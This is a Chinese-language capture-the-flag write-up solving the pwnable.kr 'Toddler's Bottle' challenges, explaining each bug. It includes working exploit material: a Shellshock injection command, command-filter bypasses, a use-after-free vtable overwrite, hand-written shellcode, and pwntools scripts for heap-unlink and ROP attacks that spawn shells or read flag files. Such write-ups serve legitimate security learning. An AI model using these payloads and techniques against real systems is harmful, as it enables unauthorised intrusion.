Toddler’s Bottle
leg
关键在于 pc 的计算。不像 x86 里 pc 总是指向下一条指令的地址,ARM 中的 pc 是下下条。假设当前指令地址为 x,即
- ARM 模式:pc = x + 8
- Thumb 模式:pc = x + 4
按这个规则计算得到 key1() + key2() + key3() = 0x8ce4 + 0x8d0c + 0x8d80 = 0x1A770,输入就好了
108400
mistake
因为运算符优先级问题,fd 被赋值成 0,也就是 stdin,和 password 文件就没有关系了,可以输入
1111111111 0000000000
shellshock
该题源自 bash 的任意指令执行的安全漏洞,摘自维基百科
Initial report (CVE-2014-6271)
This original form of the vulnerability (CVE-2014-6271) involves a specially crafted environment variable containing an exported function definition, followed by arbitrary commands. Bash incorrectly executes the trailing commands when it imports the function.[33] The vulnerability can be tested with the following command:
env x='() { :;}; echo vulnerable’ bash -c “echo this is a test”
In systems affected by the vulnerability, the above commands will display the word “vulnerable” as a result of Bash executing the command “echo vulnerable”, which was embedded into the specially crafted environment variable named “x”.[8][34]
env x='() { :;}; /bin/cat flag' ./shellshock
coin1
比较单纯的算法题?按题目要求的做就行了,用 pwntools 处理输入输出,最后再 ssh 上去跑一下 jio 本
from pwn import * import re def weigh(conn, s, e): coin_list = [str(i) for i in range(s, e+1)] # [s, e] s = " ".join(coin_list).encode() conn.sendline(s) output = conn.recvline().decode() result = re.search("(\d+)", output).groups() assert(len(result) > 0) return int(result[0]) def guess(conn, N, C): s = 0 e = N-1 for i in range(C): m = int((s + e) / 2) # print('s:', s, ",e:", e, ",m:", m) w = weigh(conn, s, m) # print("w:", w) if w == (m - s + 1) * 10: # all real s = m + 1 else: e = m return (int)((s + e) / 2) def main(): # setup conn context.log_level = 'debug' conn = remote('pwnable.kr', 9007) conn.recvuntil('Ready') while True: output = conn.recvline_regex('N=(\d+) C=(\d+)').decode() n, c = re.search('N=(\d+) C=(\d+)', output).groups() answer = guess(conn, int(n), int(c)) conn.sendline(str(answer).encode()) conn.recvuntil('Correct!') main()
blackjack
给了一个源码的网页,网页已经失效了,但是可以在网站时光机上找到,然后在这坨代码里翻啊翻,你就会看到有问题的函数
int betting() { //Asks user amount to bet printf("\n\nEnter Bet: $"); scanf("%d", &bet); if (bet > cash) { //If player tries to bet more money than player has printf("\nYou cannot bet more money than you have."); printf("\nEnter Bet: "); scanf("%d", &bet); return bet; } else return bet; } // End Function
可以看到第二次输入的 bet 没有作校验就返回了。所以在进入游戏后 bet 直接输入 1000000,判断失败后再输一次 1000000,赢了就好了。输入 -1000000,然后输掉也行……
lotto
虽然规则说得比较玄乎,但是代码的两个 for 循环还是暴露了……一开始还想着 urandom 里有没有什么 bug。只要你的输入能押对随机出的六个字节中的一个就能过关,并且值的范围已经缩小到了 1~45,所以直接试几次就好了……
int match = 0, j = 0; for(i=0; i<6; i++){ for(j=0; j<6; j++){ if(lotto[i] == submit[j]){ match++; } } }
from pwn import * import re context.log_level = 'debug' conn = process('/home/lotto/lotto') conn.recvuntil('3. Exit') while True: conn.sendline('1') conn.recvuntil('Submit your 6 lotto bytes :') conn.send(' '*6) # 6 倍的快乐 conn.recvuntil('bad luck...')
cmd1
#include <stdio.h> #include <string.h> int filter(char* cmd){ int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, "tmp")!=0; return r; } int main(int argc, char* argv[], char** envp){ putenv("PATH=/thankyouverymuch"); if(filter(argv[1])) return 0; system( argv[1] ); return 0; }
随便跑到 /tmp 下
ln -s /home/cmd1/flag f
创建一个符号链接,然后
~/cmd1 "/bin/cat f"
就好了……
cmd2
#include <stdio.h> #include <string.h> int filter(char* cmd){ int r=0; r += strstr(cmd, "=")!=0; r += strstr(cmd, "PATH")!=0; r += strstr(cmd, "export")!=0; r += strstr(cmd, "/")!=0; r += strstr(cmd, "`")!=0; r += strstr(cmd, "flag")!=0; return r; } extern char** environ; void delete_env(){ char** p; for(p=environ; *p; p++) memset(*p, 0, strlen(*p)); } int main(int argc, char* argv[], char** envp){ delete_env(); putenv("PATH=/no_command_execution_until_you_become_a_hacker"); if(filter(argv[1])) return 0; printf("%s\n", argv[1]); system( argv[1] ); return 0; }
比起 1 里更进一步,直接删除了进程中所有环境变量,这就导致必须用到路径分隔符。而代码里又限制了直接传入 ‘/’,所以就要考虑转义字符之类。可以将 ‘/’ 编码后利用 printf 输出。同上,先到 /tmp 下面新建一个 flag 文件的符号链接
~/cmd2 "\$(printf '\057bin\057cat \057tmp\057subdir\057f')"
其中 \057 就是 ‘/’ 的八进制编码,同时在 $ 前面加上反斜杠,这样 $ 就能在第一次执行时保留下来。
uaf
看上去不是堆溢出的。那么就要先释放掉对象 m 和 w,然后再给 data 分配内存,让 data 的地址和 m 的地址一致,然后触发 m->introduce() 即可。
当然,也要构造 data 的内容,具体就从虚表下手了。
文件中分配给 m 的空间是 0x18 字节,测试了一下发现分配 data 时只要大小不超过 0x18,new 两次得到的地址就和 m 相同(当然 m 需要先 delete)。第一步完成。
调用 m->introduce() 时会先从 *m 处取到虚表的地址,查看类的定义,introduce 函数是表中的第二项,那么实际上就会先取得 *m(即 Man 类的虚表地址),然后取 *m + sizeof(void*) * 2 作为 introduce 函数的地址。所以我们把指向虚表的地址往前挪一下,就会变成 (*m – sizeof(void*)) + sizeof(void*) * 2,以为调用 introduce 就会调到 give_shell,因为 give_shell 函数是表中第一项。而 *m 固定为 0x401570,所以填入 0x401568 就行了。
printf "\x68\x15\x40\x00" > /tmp/in.txt ./uaf 24 /tmp/in.txt 3 // 触发 delete 2 2 // 两次 new 1 // 调用 "introduce"
memcpy
照着提示试一遍,发现程序会崩溃。检查一下可以发现是 sse 指令遇到非 16 字节对齐的内存地址时引起的。所以要求 malloc 出来给 dest 的地址 16 字节对齐。源码开头贴心的给出了编译选项,照着编一个二进制出来试一试就行。比如第 4 次分配 64 字节时是对齐的,第 5 次分配 128 字节时就不对齐了(发现多余了 8 字节),那么第 4 次就分配 64+8 字节,因为堆需要多分配 8 字节保留控制信息,后面以此类推
8 16 32 72 136 264 520 1032 2056 4096
asm
只使用 open read write 函数,写 shellcode 读 flag 文件。
可用的内存空间固定为 0x41414000~0x41415000。
shellcode 的写入范围为 0x4141402e~0x41414416(代码中写死的 1000 字节读取长度)
文件名的字符串可以紧跟着 shellcode,不过需要根据最后写完的 shellcode 调整字符串偏移
// 实际连到 nc 0 9026 时路径要改成 "/home/asm_pwn/..." char* ppath = // 太鸡儿长了,折一下 "/home/asm/this_is_pwnable.kr_flag_file_please_read_this_file.sorry_" "the_file_name_is_very_looooooooooooooooooooooooooooooooooooooooooooooo" "ooooooooooooooooooooooooooooo0000000000000000000000000oooooooooooooooo" "ooooooo000000000000o0o0o0o0o0o0ong"; __asm__ __volatile__ ( "mov $2, %%rax\n" "mov %0, %%rdi\n" "mov $0, %%rsi\n" "syscall\n" // open 的系统调用,ppath 就是文件路径,实际字符串紧跟在 shellcode 后面 "mov %%rax, %%rdi\n" "mov $0, %%rax\n" "mov $0x41414400, %%rsi\n" "mov $100, %%rdx\n" "syscall\n" // read,读 100 字节到 0x41414400 这个缓冲区 "mov $1, %%rax\n" "mov $1, %%rdi\n" "mov $0x41414400, %%rsi\n" "mov $100, %%rdx\n" "syscall\n" // write,输出到 stdout ::"c"(ppath));
比较操蛋的是在 asm 目录下通过(./asm < 1.txt)已经成功了但换到 nc 0 9026 改用 pwntools 脚本却没成功,搞来搞去最后用管道可以了…… 下面的字节码对应上面的汇编,
\x2F\x68\x6F
开始就是路径字符串内容,调用 open 时需要设 rdi 为字符串地址,前面说到 shellcode 从 0x4141402e 开始,这样就能算出字符串实际位置在哪。
python -c 'print("\x48\x8D\x05\x57\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90\x48\x89\xC1\x48\xC7\xC0\x02\x00\x00\x00\x48\x89\xCF\x48\xC7\xC6\x00\x00\x00\x00\x0F\x05\x48\x89\xC7\x48\xC7\xC0\x00\x00\x00\x00\x48\xC7\xC6\x00\x44\x41\x41\x48\xC7\xC2\x64\x00\x00\x00\x0F\x05\x48\xC7\xC0\x01\x00\x00\x00\x48\xC7\xC7\x01\x00\x00\x00\x48\xC7\xC6\x00\x44\x41\x41\x48\xC7\xC2\x64\x00\x00\x00\x0F\x05\xCC\x2F\x68\x6F\x6D\x65\x2F\x61\x73\x6D\x5F\x70\x77\x6E\x2F\x74\x68\x69\x73\x5F\x69\x73\x5F\x70\x77\x6E\x61\x62\x6C\x65\x2E\x6B\x72\x5F\x66\x6C\x61\x67\x5F\x66\x69\x6C\x65\x5F\x70\x6C\x65\x61\x73\x65\x5F\x72\x65\x61\x64\x5F\x74\x68\x69\x73\x5F\x66\x69\x6C\x65\x2E\x73\x6F\x72\x72\x79\x5F\x74\x68\x65\x5F\x66\x69\x6C\x65\x5F\x6E\x61\x6D\x65\x5F\x69\x73\x5F\x76\x65\x72\x79\x5F\x6C\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x6F\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6F\x30\x6F\x30\x6F\x30\x6F\x30\x6F\x30\x6F\x30\x6F\x6E\x67\x00\x0a")' > /tmp/1.txt cat /tmp/1.txt - | nc 0 9026
unlink
堆溢出。
#include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct tagOBJ{ struct tagOBJ* fd; struct tagOBJ* bk; char buf[8]; }OBJ; void shell(){ system("/bin/sh"); } void unlink(OBJ* P){ OBJ* BK; OBJ* FD; BK=P->bk; FD=P->fd; FD->bk=BK; BK->fd=FD; } int main(int argc, char* argv[]){ malloc(1024); OBJ* A = (OBJ*)malloc(sizeof(OBJ)); OBJ* B = (OBJ*)malloc(sizeof(OBJ)); OBJ* C = (OBJ*)malloc(sizeof(OBJ)); // double linked list: A <-> B <-> C A->fd = B; B->bk = A; B->fd = C; C->bk = B; printf("here is stack address leak: %p\n", &A); printf("here is heap address leak: %p\n", A); printf("now that you have leaks, get shell!\n"); // heap overflow! gets(A->buf); // exploit this unlink! unlink(B); return 0; }
因为 unlink 时会操作链表的前向和后向节点,那么不管我把 BK 还是 FD 调整为 shell 函数的地址都会在 FD->bk=BK 和 BK->fd=FD 之一触发写入异常,因为代码段是不可写的。把它们写成堆缓冲区再建立跳板的 shellcode 也不行,因为有 dep。。。这里卡了好久。。。毕竟代码里能劫持的只有 unlink 的 ret 了。后来才想到 main 函数的 ret 也可以做手脚。
; main 中调用 unlink 的地方 0x080485ef <+192>: pushl -0xc(%ebp) 0x080485f2 <+195>: call 0x8048504 <unlink> 0x080485f7 <+200>: add $0x10,%esp 0x080485fa <+203>: mov $0x0,%eax 0x080485ff <+208>: mov -0x4(%ebp),%ecx 0x08048602 <+211>: leave 0x08048603 <+212>: lea -0x4(%ecx),%esp 0x08048606 <+215>: ret
从 unlink 返回后绕圈子把 ebp 赋值给了 esp 然后 ret,而这个 ebp 在调用 unlink 时会保存到栈上,就有机会可以修改它了。三个 obj 对象 A B C 在堆上的布局是连续的
0 4 8 16 24 +----+----+--------+--------+---- | fd | bk | buf | <heap> | fd +----+----+--------+--------+----
payload 从 A 的 buf 开始算
A+0x8 AAAA A+0xc AAAA A+0x10 AAAA A+0x14 AAAA A+0x18 <A的堆地址+0x28> // OBJ 对象 B,同时也是 B 的 fd A+0x1c <A的栈地址-0x1c> A+0x20 \xeb\x84\x04\x08 A+0x24 <A的堆地址+0x24> A+0x28 <A的堆地址+0x24>
A的栈地址减去 0x1c 正好就是 unlink 函数中 main 的 ebp 保存的位置,\xeb\x84\x04\x08 是 shell 函数的地址,后面两个地址则是在上面 main 函数 ebp 的两次跳转中用到。
from pwn import * import re context.log_level = 'debug' conn = process('/home/unlink/unlink') stack = conn.recvregex('here is stack address leak: 0x([a-f0-9]+)\n').decode() stack_addr = int(re.search('here is stack address leak: 0x([a-f0-9]+)', stack).groups()[0], 16) heap = conn.recvregex('here is heap address leak: 0x([a-f0-9]+)\n').decode() heap_addr = int(re.search('here is heap address leak: 0x([a-f0-9]+)', heap).groups()[0], 16) print stack_addr, heap_addr conn.recvuntil('now that you have leaks, get shell!') d = 'A'*16 d += p32(heap_addr + 0x28) d += p32(stack_addr - 0x1c) d += p32(0x80484eb) d += p32(heap_addr + 0x24) d += p32(heap_addr + 0x24) conn.sendline(d) conn.interactive()
blukat
脑筋急转弯式的题目,因为 blukat 用户已经设置到 blukat_pwn 组里了,password 文件一开始就有读取权限,只不过输出的文件内容很有迷惑性……所以读出来然后输入就好了,代码还故意留了个缓冲区溢出的幌子。
horcruxes
代码初始化了一堆随机值然后要求输入的值等于它们的总和,显然生成随机数没漏洞的话肯定是办不到的。然后 ropme 函数里有一段看似可以利用的代码,可以溢出后覆盖函数返回地址跳转到箭头处执行。
else { printf("How many EXP did you earned? : "); gets(s); // char s[100]; if ( atoi(s) == sum ) { => fd = open("flag", 0); s[read(fd, s, 0x64u)] = 0; puts(s); close(fd); exit(0); } puts("You'd better get more experience to kill Voldemort"); }
但实际上因为
fd = open("flag", 0);
所在地址是 0x80a010b,包含的 0a 正好是换行符会被 gets 截断所以行不通。
正好代码中有 A – G 七个函数会打印出各个随机数的值,而且它们的函数地址也没有特殊字符,所以可以分别返回到这些函数里,算出 sum 后输入即可。
# -*- coding: utf-8 -*- from pwn import * import re context.log_level = 'debug' #conn = process('/home/horcruxes/horcruxes') conn = remote('127.0.0.1', 9032) conn.recvuntil('Select Menu:') conn.sendline('0') conn.recvuntil('How many EXP did you earned? :') p = 'a'*120 p += p32(0x809fe4b) # A 的函数地址 p += p32(0x809fe6a) # B p += p32(0x809fe89) # C p += p32(0x809fea8) # D p += p32(0x809fec7) # E p += p32(0x809fee6) # F p += p32(0x809ff05) # G p += p32(0x809fffc) # main() 中调用 ropme() 的地址,因为 ropme 的入口地址含 0a conn.sendline(p) data = conn.recv(1024) data = conn.recv(1024) data = conn.recv(1024, timeout=5.0) print 'data:', data exp = re.findall('EXP \+(-?\d+)', data, re.S) print 'exp:', exp sum = 0 for e in exp: sum += int(e) print 'sum=', sum & 0xffffffff conn.interactive()